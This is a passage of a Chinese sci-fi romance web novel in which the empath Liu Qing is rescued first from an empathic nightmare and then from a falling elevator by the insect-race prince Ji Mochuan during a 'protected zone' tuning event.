梁三山走过来,两个台阶一跨,快步走到刘清跟前,并把露西亚往他怀里一塞。
“给你,晚上我有个临时深度护理,没法照顾她。”
刘清没伸手接,但露西亚已经伸手扒拉住了刘清的衣服,小声叫了刘清一声“妈妈”。
“老夏呢?”
“就是老夏让我给你的。她爸进保护区了,而且最近都在忙,老夏让咱俩负责看管,护理费已经打账上了。——总之,今晚归你的。”
“我一个男的,照顾小姑娘过夜,不合适。”
“是‘小朋友’。别跟我扯这些,快接着,别欺负小孩啊。”
“……”
刘清不太情愿地兜住了挂在他身上的崽。
梁三山松了一大口气,冲刘清咧嘴一笑。
“不过说起来,莱斯特不就是你喜欢的类型吗?有钱多金长得帅,他闺女还这么喜欢你,你干脆顺势就收了他得了。”
“你自己留着吧。”
刘清说话的同时,伸手按下了露西亚的耳朵。
露西亚抬头看了他一眼,乖乖地趴在他怀里,也没反抗。
梁三山:“怎么?你不喜欢他?”
刘清:“不是一路人。”
梁三山替他遗憾,“哎,可惜。这么多年了,好不容易遇到个符合你审美标准,年纪还合适,还刚好单身的。真不试试?”
刘清没说话,季末川却突然插了句嘴,“不符合标准啊,他的手那么难看。”
刘清的表情一僵,瞥了季末川一眼。
梁三山:“我倒是没注意到他的手……不是,你俩都聊到这了?”
她震惊地转头去看刘清。
刘清:“……”
刘清懒得解释,盯着梁三山,“要不我替你把那个深度护理做了,你来照顾……”
“哎呀!时间差不多了,我就先走了。”
梁三山说完,脚底抹油溜了。
“……”
刘清又看向季末川。
季末川摊手,“你的那堆杂志……”
他做了个“你懂的”的表情。“你说我可以看的。我也没有刻意去找,但实在是很明显。”
刘清:“……”
好了,闭嘴。
14.被动感知。
小破大众停在刘清的公寓楼下,他木着脸看副驾上坐着的季末川。
“跟我住是什么意思?”
季末川笑得人畜无害,“借宿一晚?”
“护理所有一整个护理区给您居住。”
“但我更喜欢跟你在一起。”
“……”
“我睡沙发就可以。”
“……”
刘清最终带着季末川上了楼。
进门后,刘清第一时间打开了墙上的一个开关。那是一个共感屏蔽装置,是护理所最常见的一种护理装置。
从它盖子上沿的薄灰来看,很久没有用过它了。
季末川感受到了装置传递的共感波动,回头看了刘清一眼。
刘清意有所指地解释道:“这里住了很多原生人类,承受不住任何的‘高等’共感域波动。”
高等共感域持有者——季末川摊手,表示理解。
刘清提着购物袋走到客厅,把露西亚放到沙发上,从袋子里掏出一个双形态幼崽用的小窝,以及一些护理产品。
季末川也走过来,帮忙从另一个袋子里掏东西——那会给露西亚买必需品的时候,他也往刘清的购物车里扔了些感兴趣的东西。
大多是吃的喝的。
“这里跟你在保护区里的房间很不一样。”
“时代不一样,风格自然不一样。”
季末川发起了话题,但显然刘清并不太想聊天。
刘清最后掏出来了一管儿童用的营养液,开了口喂到露西亚的嘴边。
露西亚一看这东西,立刻就委屈上了,“妈妈,我不吃这个。”
刘清却听懂了另外的意思,“看来你吃过。营养液是正规的、普遍的食物代餐,因为你好像不会用兽形吃饭,所以才给你吃这个,不是要苛待你。”
露西亚最后挣扎,“妈妈,你可以给我喂。”
刘清于是把营养液喂进了露西亚的嘴巴里。
露西亚:“……”
她说的是喂饭。
刘清把她的一只前爪拿起来放到营养液的软管上,方便她自己控制进食速度。
“一会吃完了给你刷牙洗漱,晚上就在这里睡,知道吗?”
露西亚:“唔,唔唔唔。”
刘清:“或者给你送回护理所去睡。”
露西亚:“……”
露西亚乖乖闭嘴喝营养液了。
刘清又吩咐阿强,“阿强,你今晚别去星网浪了,看着点露西亚,有事就叫醒我。”
阿强刚趴回充电基站,闻言“诶”了一声,伸出爪子指正在拆打包盒的季末川,“这不是有人看着吗?”
季末川抬头。
刘清看都没看他一眼,说:“连他一起看着。”
阿强:“……”
季末川倒也不生气,笑了下,问刘清:“你听得懂她刚才说什么?”
“小孩脾气,猜也八九不离十。”
刘清看了眼季末川拆开的速食,皱了下眉,不太想吃,于是就去翻自己的冰箱。
他冰箱里的食物很多,还有一些没吃完的熟食。
“我以为你讨厌虫子。”
季末川不知道什么时候跟了过来,在刘清旁边幽幽冒出这么一句。
刘清吓得不轻,脑袋后的两条介质触须都打直了,然后愤怒地在空中甩了一下。
季末川见状,便退开了半步,“抱歉,我只是好奇。”
他指着冰箱里的那盘胖乎乎的炸蝉蛹,“你喜欢虫子吗?”
“不喜欢。熟了的除外。”
刘清从冰箱里拿出昨天中午自己做多了的炒饭,以及一些卤菜,关上了冰箱门,进了厨房。
季末川又跟了进去,问:“那我算熟了的那只吗?”
刘清:“……”
季末川笑了一下,没有执着于答案,“我也想吃你的炒饭。说起来,我被‘我’启动以后,吃到的第一顿饭就是你请我的。”
那份二十块的套餐。
季末川:“很好吃。”
刘清:“……”
刘清的良心很轻微地疼了那么一下。乃至于他松了口,“这是我昨天做多的,您不嫌弃的话,我给您分一半。”
季末川笑得很开心,“好,谢谢。”
…
晚上十点过,刘清才安顿好露西亚跟季末川。
大的铺在沙发上,小的窝放在茶几上,阿强的充电基站正对着他们。
刘清大致放了心,就去洗澡了。
哗啦啦啦。
浴室的水流声隔着房门沉闷地传出来,客厅里一片安静。
季末川盯着小窝里的露西亚,露西亚瑟瑟发抖,睁着眼睛咬着尾巴。
季末川问:“你还不睡?”
露西亚:“……”
阿强好歹出声说了句公道话,“我觉得你不盯着她,她应该早睡了。”
季末川倒有些疑惑,“我没有吓她。”
他的共感域收得牢牢实实的。
阿强:“不是只有共感域能吓到小朋友的。”
季末川:“……”
季末川走出了露西亚的视线,站到阿强的充电基站跟前,“我这张脸应该不凶。”
阿强:“你上午在护理所用共感域屏蔽她。这事你忘了?”
季末川没忘,“刘清好像不能接受虫族的虫形态?”
阿强:“?”
话题换这么快的吗?
阿强的语气有些微妙,“你说的接受是哪种接受?”
季末川:“做朋友的程度?”
阿强“哦”了一声,“那应该还行吧,得看是什么虫。你让一只兰花螳螂跟一条蛆等比放大到人类大小放他跟前,他怎么也不能够接受后者当朋友吧。”
季末川莞尔,“有道理。还好我不是蝇种。”
“……”
阿强却越发觉得微妙了,“那个季末川殿下,冒昧问一句,你到底看上我们刘清哪了?”
季末川疑惑,“我说过了,一见倾心,还需要理由吗?”
阿强:“……”
行吧。
很快,刘清洗完澡出来。
他换了一身纯色睡衣,头发蓬松柔软地散开,衬得他的脸更尖更小了,整个人像是套在布袋子里的人偶娃娃,让人有一种上手把玩的冲动。
刘清看了眼露西亚,确认她已经睡着后,才瞥了一眼一边的“两人”。
聊上了?
阿强避嫌地举起爪子,“我就让他别吓小朋友。”
季末川也无辜地举起手,“我没吓。”
“……”
刘清懒得判这种无聊官司,说了句“我去睡了,您自便”,就进了卧室,锁了门。
“反锁了。”
阿强听出动静,陈述了事实,顺便看了眼季末川。
季末川倒没表露出什么,只是笑了笑,就去沙发上休息了。
·
凌晨,四点
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左右的时候。
一阵强大的共感域冲击席卷而来,冲毁了刘清房间里的共感屏蔽装置。
季末川第一时间从沙发上坐了起来,阿强也朝屏蔽装置那里瞅了一眼,有些疑惑——没能源了?
季末川转头看向了窗外——窗外一片风平浪静,一些早餐店已经开始做准备了,人们行动如常。
但确实刚才发生了什么。
露西亚发出了细弱的哼哼声,四个爪子在小窝里抽动了几下,似乎睡得很不安稳。
季末川看了她一眼,没有任何反应,而是起身走到了刘清的房门前。
阿强立马扭头看了过来。
季末川像是知道他在看一样,头也没回地说道:“阿强,过来一下。”
阿强疑惑地飞到了季末川旁边,悬停。
季末川指着刘清的房门,“刘清做噩梦了。”
阿强:“???”
“你听。”
“……”
阿强虽然一脸莫名其妙,但还是探出了音频探头监听了一下。
嘿,还真是!
季末川:“门打开。”
阿强:“……”
敢情在这等着。
阿强不开,“您可别害我。这会我给你开了门,天亮后刘清就能开了我头盖骨。再说了,做噩梦而已,不至于。”
季末川倒也不强迫它,点了下头,“那你就说没能阻止我吧。”
阿强一惊,“你想干嘛?”
它的话音刚落,季末川已经伸手切豆腐一样捏烂了木门连带门锁,跨步走进了刘清的卧房。
阿强目瞪口呆,半晌才发出一声“我操”,急忙跟了进去。
房间里,刘清睡得很规矩,但是呼吸非常急促,额发已经被汗打湿。他锁死了眉,眼球在眼皮下快速乱转,双手也不自觉捏紧了薄被。
连那两条触须,此时也延展出了半臂的长度,在空中挣扎挥舞。
可刘清就是没醒来。
刘清模糊间意识到自己的意识被淹没了。
来自四面八方的情绪洪流,许多许多人的情绪,睡梦中被释放的最深层意识的欲望,化作了一群群的虫鸟鱼兽,接踵而至地跃入了他的共感域。
他知道这是屏障完全失效,且因为他在睡梦中,所以无意识地接收了这些情绪洪流导致的共感共鸣过载。
必须停止接收这些信息,立刻清醒自己的意识,否则他可能真的会被淹没意识——就像他五岁的那场“高烧”一样。
如果不是那时候阿强有系统buff在,引来了老夏为他建立了屏蔽,他恐怕就真的夭折了。
现在他成年了,他可以做到,只是需要时间……
刘清的意识逐渐混沌,痛苦从他的灵魂深处溢出来,连带着裹挟出了前世那些深埋的腐烂记忆。
这时,刘清突然感受到了一丝温热。
在共感域中,像是一束光从天而降,驱散了淹没他的情绪洪流,嘶吼的欲望被消失殆尽,整个世界变得一片雪白。
安静了。舒适了。平静了。
刘清紧绷的灵魂放松下来,痛苦和记忆被重新埋葬。他的身体也放松下来,在睡梦中轻轻勾起了嘴角。
梦境之外。
阿强落在床头柜,见鬼似的看着眼前的画面:季末川单膝跪在刘清的床前,一只手托起了刘清的一条介质触须,低头以唇轻触着那条透明的触须。
他的表情如此虔诚,仿佛,这就是一个“吻”。
15.提前启动。
刘清很久没有睡过这么好的觉了,醒来的时候心情极好,嘴角带着笑,甚至都完全忘记了昨晚的噩梦。
他在床上拉长身体伸了个懒腰,手往上摆的时候顿了一下,好像打到了什么东西。
刘清偏头一看,差点头皮没被炸开——他床边趴着一个人,脑袋顶朝着他,他一眼看过去只看到了黑乎乎的一团头发。
“……操。”
刘清缓了两秒才吐出被噎住的一口气,也认出了这是谁。
季末川就坐在地上,上身趴在他的床上,这会也醒了,动作僵硬且缓慢地调整着姿势,整个过程都背对着刘清。
他这样子实在让人心里发毛,刘清都忘记了兴师问罪,警惕地盯着季末川的举动。
生怕他下一秒就破皮变虫了。
过了大概半分钟,季末川的四肢关节才稍微灵活了一些。他也没从地上起来,就那样坐着转了半圈,仰头看着床上的刘清。
“早。”
季末川露出一个灿烂的笑。
“……”
刘清没说话,他探身朝前看了眼衣柜边的卧室门。
卧室门的门锁不翼而飞,留下了一个月牙形状的洞,地上还有一堆木屑残渣。但房门还是被掩耳盗铃地合着。
“……”
刘清重新坐回来,俯视着床边的季末川。“房门三千星币。”
季末川乖乖点头,“我让塞弗恩特给你换。”
“……”
刘清点了点眉心,刚刚起床的美好心情已经被疲惫感淹没,他非常搞不懂。
“所以您擅自闯进我的卧室,是为了什么?”
季末川坦言:“安抚你。”
刘清:“……”
“真的。你房间里的屏蔽装置坏掉了,你做了噩梦,所以我就进来安抚你了。”
“……您能换个词吗?”
“哪个?”
“……算了。”
刘清从床上起来,去门口查看了屏蔽装置。
确实坏了,承载了过量的次级共感导致的核心魂晶损毁。
“阿强。”刘清喊了一声。
一直装死的机械四脚蛇从后边飞过来,不用刘清再问,就如实答道:“凌晨四点左右,房间里的装置就突然坏掉了。然后季末川就说你做噩梦了,然后就闯进了你的房间——我阻止过他了啊,没能成功。”
刘清没出声。他记起来了。
在这一觉非常香甜的睡眠之前,他的共感域确实遭受了一次情绪洪流。
所谓情绪洪流,简而言之,就是其他人的情绪投射到了他的共感域里。
这个“其他人”并没有严格的限制:情绪强烈的,执念深重的,与他关系亲密的……且不限数量。
这种被动的影响,往往发生在他的共感域不稳定,且没有做共感屏障的情况下。
可就这么不巧,昨天他的共感屏障频繁失效——他打开的屏蔽装置也并不是说的那样为了预防季末川影响到邻居,而是为了防止他睡梦中屏障失效……
还真失效了。
而且还是在他睡着之后的无意识状态。
这种时候的他,就像是一个有粘性的蜘蛛捕网,任何一点强烈的相关的他人共感域震荡都会被他捕获。同时他还没有办法消化。
这种情况其实非常危险,轻则昏迷发烧——就像他还不会构建屏障的小时候那样。
重则在洪流重迷失自己,完全醒不过来。
就刘清昨晚的情况,如果没有外力干预,很可能是后者结果。
所以严格意义来说,如果季末川真的“安抚”了他,那相当于救了他一命。
刘清看向季末川。
季末川噙着笑,“就是阿强说的那样。破坏装置的是一阵共感潮,外边来的,很远,我也没发现源头。”
刘清“嗯”了一声,心里有了猜测。但他更在意另一件事情。
“您是为我构建了屏障吗?”
“没有。”
季末川否认了,伸出了自己的手,“构建屏障也不足以安抚到你已经收到侵扰的共感域。所以我向你传递了我的情绪。”
刘清讶异。
“只是情绪?”
“只是情绪。”
“……”
那得是多强烈的情绪,才足以驱散几乎要淹没他的情绪洪流?
而且是什么情绪?
刘清有记忆,但记忆里也只是一瞬的平静。
平静算什么情绪?
刘清的疑惑都写在脸上了,但季末川并没有回答他的意思。反而关心起了罪魁祸首。
“那阵共感潮的影响范围很大,距离又远,说明它本身的体量就很大。是你昨天说的共感调频吗?”
刘清其实也想到了这茬,但不确定。
“距离共感调频开启的时间还早,可能不是。我问一下。”
刘清打开终端,就发现了一条未读信息刚巧冒了出来。
是保护区发给注册游客的。
【尊敬的游客,您好。
【由于技术故障,本轮保护区主题项目提前结束,保护区将于今天上午十点进入调频阶段。即日起,一个月内,保护区不再接待游客。……】
“共感调频提前了。”
刘清皱着眉,突然想起什么,转身大步回了卧室。
季末川跟过去,问:“怎么了?”
“我得去找个人,您帮我看着露西亚。”
“我跟你一起去。”
“……”
刘清咋舌,没有浪费时间与季末川理论,一边换衣服一边说,“那请您帮忙给露西亚收拾一下。”
季末川的视线掠过刘清白皙的背,视线顿了一下,而后“嗯”了一声,转身出去了。
-
季末川第一次坐“飞车”,各种意义上的飞车。
下车的时候,他看刘清的眼神都不一样了。
保护区大楼外头比昨天热闹多了,而且还有熟人。
“刘清。”
莱斯特第一个发现了刘清的存在。同时也看到了季末川。
莱斯特的表情一下就变得客套和虚假起来,礼节性地点了下头,“季末川殿下也在。”
季末川没吭声。
刘清倒是非常高兴见到莱斯特。
“莱斯特先生,您在就太好了!”
他三步并作两步走到莱斯特跟前,热情地把怀里的露西亚一把塞进他怀里。
“还给您了。”
说完,刘清错身朝大楼里去。
“等等。”
莱斯特一把抓住了刘清的胳膊,“你去哪儿?”
刘清皱眉,想要抽回自己的手,但莱斯特的力气很大,刘清倒也不是抽不出来,但不好弄太难看。
“我没有跟您报备的义务吧?”
“我只是想告诉你,保护区马上要进行戒严,里头现在忙乱得很,你最好不要进去。”
“谢谢提醒,但是我有急事,得赶在他们停业之前办理。”
刘清用另一只手抓住莱斯特的手腕,用了一个巧劲,按住莱斯特手腕下的一个凹陷处,猛一用力,便轻而易举卸下了莱斯特抓着他的
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手。
莱斯特露出微讶的表情。刘清已经进了大楼。
“呵。”
季末川发出一声轻笑,头也没抬地从莱斯特的旁边走了过去。
“……”
莱斯特紧了下牙,收回手,也跟了上去。
…
莱斯特跟进去的时间间隔不长,可是进去后就只看到季末川,没看到刘清的影子。
莱斯特皱眉,正想去找,却突然听到季末川开了口。
“莱斯特先生,为什么对刘清这么感兴趣?”
莱斯特没料到他会这时候开口,但也没慌。
“要说感兴趣,您对他才是更感兴趣吧。”
“不是感兴趣。”
季末川露出一个笑来,“我就是喜欢他而已。”
莱斯特的心里涌上一股子莫名其妙的胜负欲,虽然他对刘清并没有那么强烈的“喜欢”,可是季末川说了这话,他就是突然想要证明自己才更喜欢,或者更适合刘清。
这是一种幼稚的独占欲。
莱斯特意识到了,但并没有控制自己的打算。
“季末川殿下喜欢的人应该是虫王陛下才对吧?这话让塞弗恩特他们听到,或许会产生不必要的误会,也会给刘清带来大麻烦,不是吗?”
季末川脸上的笑容淡了两分,“这就不劳你操心了。”
说罢,季末川转身上了旋转楼梯。
莱斯特看了他的背影两秒,并没有跟上去。他怀里的露西亚用爪子刨了刨他的手臂。
“爸爸,我想要妈妈。”
莱斯特低头看着她,“抱歉,我也不知道他现在在哪儿。”
露西亚:“我可以自己找。我闻得到他的香味。”
莱斯特挑眉,“那你指路。我带你去找。”
露西亚:“嗯!”
…
刘清用了十万星币,买通了工作人员,从员工通道混进保护区。
“只有三个小时啊,这是员工撤离的最后时限,之后你如果没出来,那就是你自己的事了。”
“我知道,放心吧。”
刘清没有换衣服,额外带上了保护区里使用的手机,就进了员工速通车厢。
工作人员送走刘清的车厢后,提心吊胆地一回头,就发现后头多了一个人。
“啊!你,是你?你怎么进来的?”
季末川面无表情地看着跟前的工作人员——正是昨天接待他的那一个。
“刘清呢?”
工作人员这会也顾不上怕了,色厉内荏道:“我怎么知道?这里只让员工进来,你赶紧出去!”
季末川扫了他一眼。
只是一眼。
那工作人员的瞳孔瞬间失焦,牵线木偶一样转过身,在操作台上调配出了另一个员工车厢,并打开了车厢门。
季末川越过他跨进了车厢,工作人员机械地操作着。
关闭车厢门,发送车厢。
然后他就像是突然被剪断了提着的线,整个人无力地软倒到了地上。
可就在车厢门即将关闭、工作人员倒下的一瞬间。
一个小小的黑影风一样冲了进来,卡在车厢门关闭的最后一瞬撞进了车厢里。
季末川的眉头轻微皱了一下,车厢已经完全关闭,并在两秒之内提速到顶点,“咻”的一声消失在了通道里。
在消失的前一秒,季末川透过车窗看到了后一步撵进来的莱斯特和塞弗恩特。
莱斯特张嘴叫了一声什么。
季末川想,应该是在叫他脚下的这个小东西:露西亚。
16.眼球。
员工通道的出口是一个中古店,开在商业街的角落。
店里的员工早就撤了,只有唱片还在吱呀悠长地叫着。
刘清推门出去,却骤然僵在了门口。
只见门外狭窄的巷道上躺着几个人,他们的衣着打扮干净得体,手边落着皮包,显然并不是流浪汉。
阿强懵了一下,问道:“这什么情况?共感调频不是还没开始吗?这里出事故了?”
刘清的心里涌出不好的预感,转头朝巷口方向看了一会。
“你在看什么?”
阿强也转头看了一眼,没觉得异常。“你别吓我。”
刘清皱眉,关门缓步朝巷子外走,一边说道:“没有车。太安静了。”
“啊?”
“这会是早上高峰期,这里是商圈,但从刚才到现在,外面的公路都没有车辆经过。也没有人的声音,闹的全是广播跟音响的动静。”
“……我去,还真是。”
阿强哆嗦了一下,声音有些发怵,“这里头不会真出问题了吧。”
“突然把调频时间提前,问题是肯定出了的,但要看是什么……”
说话间,他已经走到了巷子口,看到了外面繁华的街道,没说完的话也戛然而止。
只见外头的公路上没有任何的车辆,路上、街道上、店面里,随处可见的地方都横七竖八地躺着人。
有的人手边落着啃了一口的食物,有的撒了一地的饮料,有的趴在小摊上……仿佛有神之手给这个世界的人按下了关机键,以至于他们同一时间断掉了“电源”。
无边无际的人铺在地上,活像是一块色彩缤纷的立体地毯。
“我操……我鸡皮疙瘩都起来了!”
阿强搓了搓它并不存在的鸡皮疙瘩,一只爪子抓紧了刘清的衣领。
“这到底什么情况?我记得共感调频也不是这样式儿的啊,不能真是生化危机了吧!?”
刘清在“地毯”里小心下脚,弯腰试探了一下对方的呼吸。
“都还活着,体温也正常,应该就是共感调频。”
“但这也太诡异了。我说要不你就别去找老贾了,咱先回吧。你可记得你的挂不抗物理攻击的。”
“不行。我现在几乎无法构建共感屏障,肯定是老贾的酒有问题。这会不找他弄清楚给我喝了什么,等调频开启,我这辈子都别想知道了。——速战速决吧。”
刘清又起身转回小巷,挑人少的巷道里朝着钟鼓楼的方向跑去——所有“出远门”和“待机”的原住民,都在钟鼓楼里。
…
万幸员工入口距离钟鼓楼不远,刘清用了一刻钟跑到了目的地。
大楼已经锁了——这是已经预料到的。但阿强能开锁。
“我是能开,但开高级的程序是需要能源支撑的,这个我可不敢给你打包票……”
阿强一边任劳任怨,一边还不忘给自己打补丁。
结果它才把尾巴接过去,就傻眼了。
“我去,他们没锁。”
刘清也愣了,“没锁?”
“准确说是原住民存放区没锁,调频装置已经锁死了。”
“那赶紧的。”
阿强“哦”了一声,指了个方向,“开了。”
那是钟鼓楼后头的一个抬高的广场,抬高的部分形成了一个半包围的墙体,墙体上开了一扇小门,写着“保洁休息室”。
此时,休息室的电子门锁已然显示开启状态。
休息室远比它外观看上去的大得多,里头有几排上锁的铁皮柜,一些座椅,有些像健身房的换衣区。
左手边则是两个电梯门。
电梯一共10层。
刘清打开手机,调出一个APP——阿强前些年搞的保护区员工权限,从里面找到了老贾所在的楼层。
…
地下七层。
电梯门打开,入目的就是一望无际的白。
里头的空间没有任何遮蔽,地板、墙、天花板全是统一的白色,灯光也是白色,置身其中很容易让人迷失方向。
唯一能看出方向的,就是在承重柱上醒目的标号。
而这个空间里唯一的内容物,就是鳞次栉比的透明维生舱。
维生舱里躺着各式各样的人,男女老少,不一而足。他们一些穿着统一的病号服一般的衣服,有些则穿着正常的衣服——这些是“出远门”的人。
乍看去,像是一口口透明的棺材。
“我真的要起鸡皮疙瘩了!这也太离谱了!”
阿强被这个画面冲击灵魂,整个系统都不好了。
刘清看了眼手机,朝F区大步跑去。
F-132
找到了。
老贾四十来岁,有一张看着就很和乐的脸,在家里是个耙耳朵,跟朋友很仗义,刘清这个“忘年交”也是老贾先伸出的橄榄枝。
这么活生生一个人,现在躺在维生舱里,被透明的淡蓝色液体淹没着。
刘清神情复杂,但最后还是跳过了面板上“重启”的按键,选择了信息读取。
面板很快回传消息。
【读取失败:过期信息已清除。】
“怎么会?”
保护区原住民的“信息”只有在调频开始后才会被逐步清除。
刘清要抢时间,不作多余怀疑,决定直接建立共感连接来读取意识。
他打开了维生舱,手指没入透明液体,轻触着老贾的额头。细末的介质纤维从他的指尖延伸,探入了老贾的大脑。
这是非常粗暴的方式,刘清鲜少使用,但现在也无暇他顾。
按理说,这对刘清是信手拈来的事情。
可偏偏,就在这探囊取物的过程中,出了问题。
当刘清的介质纤维连接老贾共感域的瞬间,被他捕获的不是老贾的记忆碎片,而是突兀的一声短促的铃声。
叮——
像是门铃,或者侍者的呼叫铃。
刘清没有听过这个声音,可是他的意识无
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比确定:这是一个“开启”的信号。
开启的是什么?什么开始了?
不待刘清思考,无数的情感细丝已经顺着他的介质纤维攀附上来,它们朦胧不清醒,带着模糊的喜怒哀乐,灰尘一般若即若离地闯进他的共感域,坦露着它们的所有。
它们来自无数的、共感域毫无抵抗的人。
只要刘清的介质纤维有任何的大动作,都可以轻而易举地反扑杀死任何一粒“灰尘”的大脑。
刘清犹豫了。
迟疑了半秒的时间。
但就是这半秒,那些轻如鸿毛的灰尘们却变成了一粒粒硫酸,把刘清的介质纤维腐蚀出了一个入口。
一个庞大的、没有形状的东西顺着入口挤入了一颗眼睛。
嘶——
刘清仿佛觉得自己的灵魂发出了抽噎声,冷汗瞬间浸透了他的身体。
共感调频。
调配七万人的那个“装置”!
“啊!”
刘清以最快的速度收回了介质纤维,但还是迟了。
那只眼睛裹挟着海量的情绪和记忆,像一团凝固的泥石流,捏造出了一只眼球,悬于他的灵魂之上。
凝视。
即权力。
刘清跪倒在地,生理性地本能呕吐着,咬破了嘴唇或者舌头,吐出的胆水里混着鲜艳的红。
他的双耳充斥着尖锐的鸣叫,阿强的声音像是从天边传来,模糊地只听得到一点余音。
他感觉到自己的意识在被解剖,那只眼睛,用目光解剖着他。
它没有目的,没有恶意,有的只是……
食欲。
就在刘清完全脱力的边缘,他的脑海里突然响起了一个非常清晰的声音。
【拒绝它们。】
这四个字不仅仅是一句话,它里头还压缩了一个“教学视频”。
当刘清听到它的时候,立刻就理解了“拒绝什么”“怎样拒绝”“作用如何”“程度怎么控制”,等等。
刘清即刻付诸实践。
“滚!”
随着他的嘶吼,“拒绝”的意念强烈地从灵魂深处破土而出,形成了一股宛如实质的力量,自内而外,把所有“他者”都排斥、清除。
那只眼球骤然消失。所有的感官重新回到刘清的身体。
他听到了阿强的声音。
“刘清!刘清!”
原来阿强在扯他的衣服,试图把他从地上拉起来。
刘清平复了呼吸,试图从地上站起来,但尝试了两次都没有成功。
他只能疲惫地制止阿强的叫魂。
“……别吵了,我没事了。”
阿强却用崩溃的语气吼道:“没事个屁!你有大事了!他大爷的保护区玩阴的,共感调频早就开始了,而且外头已经开始区域调整了!比他们员工说的整整提前了两个小时!!”
“……”
刘清这才意识到,他刚才站不起来不是因为腿软,而是整个地下室都在震动。
17.英雄救美。
“快跑快跑快跑!!!”
阿强杯水车薪地拽着刘清的衣服,恨不能把他从地上拔起来。
刘清扶着维生舱,努力在眩晕和反胃的不适中保持行动力。
阿强指着另一个方向,“楼梯在那边。”
刘清看了眼他指的方向。
太远了,他连出口在哪儿都看不到。于是他转身朝来时的电梯走。
阿强一看就急了,“你有点常识!地震了都!”
刘清弱声但说话还算平稳,“区域调整也不可能调整到钟鼓楼,先出去再说。”
“不调整到不代表不被影响啊,这背景设定二十一世纪,那时候的机械水平你没点B数吗?你就不怕一脚踏进去,直接埋里头了?”
刘清喘了一口气。
“我知道。但麻烦用你的卡姿兰大眼睛看看我,我像是有千米冲刺过去的力气吗?”
“……”阿强沉默了。
“再说了。就算倒霉死了,不也有你陪我吗?”
“……你可少乌鸦嘴吧!”
刘清笑了。
阿强没好气地闭了嘴,聊胜于无地“扶着”刘清进了电梯。
电梯的灯光在不详地闪烁着,上行的时候发出“吱呀”“哐啷”的声音。
阿强怕死地挂在刘清的肩膀上,一直“阿弥陀佛”。
刘清的心跳也很快。
他已经说不清楚自己现在到底是身体不舒服,还是死亡的恐惧了。他只知道自己双耳耳鸣,满耳朵都是自己的心跳声,共感域还有一种亟待喷薄爆发的悸动在躁动着。
这让他感到眩晕。
刘清只能靠在电梯的厢壁上,才能让自己勉强不滑下去。
终于,显示屏上的数字跳到了“1”。
咚——,电梯门缓慢打开。
“谢天谢地!”
阿强喜极而泣,拽着刘清的衣服朝外走。
可这时候,变故发生了。
砰!
电梯突然猛烈地晃动了一下,整个厢体朝下顿了一下。刘清抓紧了电梯里的扶杆才没有跌下去。
阿强听上去是真的快哭了,“刘清你是真乌鸦嘴啊!”
刘清的脸色也变了——好像人总是要在即将失去的时候才会格外珍惜拥有的东西,像是爱情、健康、或者生命。
吱——嘎——
拽引电梯的钢带发出让人牙酸的撕裂声,厢体出现了一个微妙的倾斜。
紧接着,哐——,电梯失重朝下坠落。
砰——!!
又是一声巨响,电梯的坠势止住。
“停,停了?”
阿强心有余悸,抬头一看,又是一声“我去?”
“季末川?”阿强的声音震惊无比。
刘清听到这个名字后,惊讶地抬头望去。
光从头顶劈下来。
季末川的身影逆着光嵌在门缝里。
他单膝跪在地上,一条手臂朝上撑着电梯厢的顶部,肩背肌肉绷出锋利的弧度,丝绸衬衫被撑裂出了数道口子,暴露出他皮囊上凹凸不平的接驳痕迹。
休息间倾泻的冷白灯光,把他的轮廓熔成了滚烫的金色,像一尊神像被焊在了生与死的界碑前。
怦嗵。
刘清听到了自己心脏的声音。
有血从光里坠落。
刘清这才发现,季末川是用小臂卡在变形的门轨里,一截碎裂的金属扎穿了他的手臂,金色的血浸透了衣服,裹着光落成了一串金珠。
但季末川好像根本没感受到身体的疼痛,他只是低头看着刘清——那双眼里迸射出深浅不一的蓝,瞳孔亮得吓人。
刘清几乎能在他的虹膜里看到自己的倒影。
“刘清,抓住我。”
季末川的声音比以往的更沉,驱逐了电梯里死神的残影。
怦嗵。
怦嗵。
刘清几乎是本能地伸出手,抓住了季末川伸出来的另一只手,手掌刚贴上对方的手腕,便被一股骇人的力道猛地提起。
视野徒然颠倒。
刘清一头栽进季末川的怀里,季末川顺势抽回了负伤的手臂,就着刘清撞过来的力道朝后仰倒在了地板上。
刘清趴在他的身上。
身后传来电梯坠落的恐怖轰鸣,身下是并不柔软的男人的身体。隔着软薄的布料和一层皮囊,季末川的,他的,两颗心脏以同样的频率撞击着肌肉和骨头,把彼此的体温都烧融成了一体。
怦嗵。
怦嗵。
打破沉默的是阿强。
“我操,吓死我了!这也太刺激了。”
紧接着是露西亚,她着急地绕着刘清跟季末川,“妈妈,妈妈……”
阿强:“诶?你咋也在这?”
露西亚:“妈妈,妈妈……”
刘清纷乱的思绪被这俩扯回了人间,他心里有事,不敢抬头去看季末川的脸,试图从季末川身上起来。
但试了两下,季末川铁箍一样的手臂并没有松开,手掌钉子一样按着刘清的后腰。
“……你松开。”刘清的语气与平常无异,但声音却明显少了以往的理直气壮和无所谓。
季末川很轻地在刘清的耳边笑了一声。
然后他有些烦恼地问道:“刘清,怎么办?”
“什么?”
“我的皮破了。”
“……”
刘清彻底醒了。
随即立刻想起来季末川被穿透的手臂。
“你的手。”
刘清撑起身体回头去看季末川的手臂,但是却被季末川一把拉过撑起的手,摸向自己的后腰。
这个动作,几乎让刘清把季末川抱了个满怀。
“这里。”
季末川拉着刘清的手按住他后腰偏下,尾椎以上的位置。
“皮破了。”
刘清感觉自己摸到了一片冰凉的东西,有些磨砂般的粗粝,但那些粗粝又像是被打磨过,有一种厚重的质感。
甲壳。
刘清的手指抽动了一下,同时抽回了自己的手。
季末川没再钳制他,放任刘清从他身上爬起来,然后站在他的半米开外。
季末川从地上坐起来,望着刘清。
刘清完全恢复了状态,他从自己的储物芯片里掏出了一个很大的医疗箱。
医疗箱很大,但里头全是各种营养剂、补充剂……以及一些明显不该在医疗箱里的东西。
比如刘清拿出来的这卷透明封口胶带。
季末川:“你的医疗箱很特别。”
刘清:“我知道。”
“……”
刘清拉住季末川的手臂,把他从地上拽起来。
“保护区的人没有虫族的概念,如果你露出虫形态,可能会引起不必要的
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混乱。先用胶带对付一下。”
他走到季末川身后,看到了皮囊上的那个裂口。
横向的裂口,一掌余长,且还有继续撕裂的趋势。
皮囊之下是黑色的甲壳,一如刘清之前在护理所看到的那样。
刘清没有细看,“刺啦”一声扯开胶带,直接连衣服一起卷住了季末川的腰。
他双手交替地缠绕着,看上去像是一个漫长的拥抱。
季末川噙着笑,注视着刘清长长的睫毛。
“我以为你会嫌弃我。”
刘清朝上看了他一眼,视线落在季末川逆光的眼睛上——它们恢复成了黑色。
